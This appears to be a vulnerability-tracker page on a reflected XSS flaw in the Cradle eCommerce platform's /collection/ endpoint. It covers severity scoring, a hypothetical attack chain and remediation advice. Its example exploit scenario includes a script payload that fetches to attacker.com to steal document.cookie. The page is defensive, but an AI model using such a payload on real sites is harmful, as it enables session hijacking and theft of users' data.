Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts XSS payload URL
-
DeliveryAttacker distributes link via phishing/social engineering
-
ExploitVictim clicks malicious link
-
InstallBrowser sends request to vulnerable /collection/ endpoint
-
C2Server reflects unencoded payload in HTML response
-
ExecuteBrowser executes injected JavaScript
-
ImpactAttacker steals session cookies or personal data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The vulnerability requires a user to click an attacker-supplied link containing malicious input in the /collection/ endpoint query parameters. The input is reflected directly in HTML output without sanitization or encoding. Exploitation is limited to the /collection/ endpoint specifically and affects only users who interact with malicious links - there is no mechanism for exploitation via direct network access without user interaction. The vulnerability does not require authentication, allowing any internet user to craft and distribute malicious links. Non-default configurations or special application settings are not mentioned in the CVE description, suggesting the vulnerability is present in standard deployments of the affected versions. |
| Impact | CVSS 5.1 reflects low-medium severity with network attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), but mandatory user interaction (UI:A) - the attacker must trick a user into clicking a malicious link. The CVSS vector shows low confidentiality (VC:L) and integrity impact (VI:L), with no availability impact. This is accurate for reflected XSS: impact is limited to individual user sessions and data exfiltration, not widespread system compromise. No EPSS score provided in input data. No public exploit identified and no KEV (CISA Known Exploited Vulnerabilities) listing - this suggests the vulnerability is not currently weaponized at scale. The real-world risk is moderate-to-low: exploitation requires social engineering and affects only users who click attacker-supplied links, limiting blast radius. However, in security-sensitive contexts (e-commerce processing payments or personal data), even isolated XSS events pose meaningful risk for session hijacking or sensitive data theft. The requirement for user interaction (UI:A) significantly reduces risk compared to network-based XSS without user action. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as https://vulnerable-site.com/collection/?product=<script>fetch('https://attacker.com/?cookie='+document.cookie)</script> and tricks a user (via phishing email or social media) into clicking the link. When the victim's browser requests the page, the /collection/ endpoint reflects the unencoded script tag in the HTML response, causing the victim's browser to execute the JavaScript and exfiltrate session cookies to the attacker's server, enabling session hijacking. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Reflected XSS in Cradle eCommerce platform allows unauthenticated remote attackers to execute arbitrary JavaScript in user browsers via unsanitized input reflected in the /collection/ endpoint. The vulnerability requires user interaction (clicking a malicious link) but affects the latest demo version with CVSS 5.1 (low-medium severity). No public exploit code or active exploitation has been identified at time of analysis, though a vendor patch is available.
RemediationAI
Apply the vendor-released patch available from INCIBE (https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-cradle-e-commerce). Exact patched version number is not provided in available data - contact vendor directly or review the advisory for specific version increments. As an immediate compensating control, implement Web Application Firewall (WAF) rules to block requests containing script injection payloads in the /collection/ endpoint parameters, though this may generate false positives if legitimate user input contains angle brackets or JavaScript keywords. Additionally, deploy Content Security Policy (CSP) headers with script-src restrictions to prevent inline script execution even if XSS payload reaches the DOM - this mitigates impact but does not eliminate the root vulnerability. Input validation and output encoding (HTML entity encoding for user input in HTML context) must be implemented in the application code itself to fully resolve CWE-79.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a classic reflected cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation). The /collection/ endpoint fails to sanitize or encode user-supplied input before rendering it in HTML output, allowing attackers to inject malicious JavaScript that executes in the context of a victim's browser session. The vulnerability exploits the trust relationship between users and the legitimate Cradle application to deliver client-side attacks such as session hijacking, credential theft, or malware delivery. Affected products are identified via CPE a:e-commerce:cradle with all versions matching the wildcard pattern.
Know when Cradle gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Primary rating from Vendor (INCIBE) · only source for this CVE.
CVSS VectorVendor: INCIBE
Lifecycle Timeline
3DescriptionCVE.org
Reflected Cross-Site Scripting (XSS) in the latest demo version of the Cradle eCommerce platform. User-controlled input is insecurely reflected in the HTML output in the endpoint /collection/. Exploitation of this vulnerability would allow an attacker to execute arbitrary JavaScript code.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Open redirection in Cradle eCommerce login form endpoint allows attackers to redirect authenticated users to arbitrary e
Reflected cross-site scripting (XSS) in Cradle eCommerce platform allows unauthenticated remote attackers to execute arb
EUVD-2026-29056
GHSA-2hwv-x45q-vm8v
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB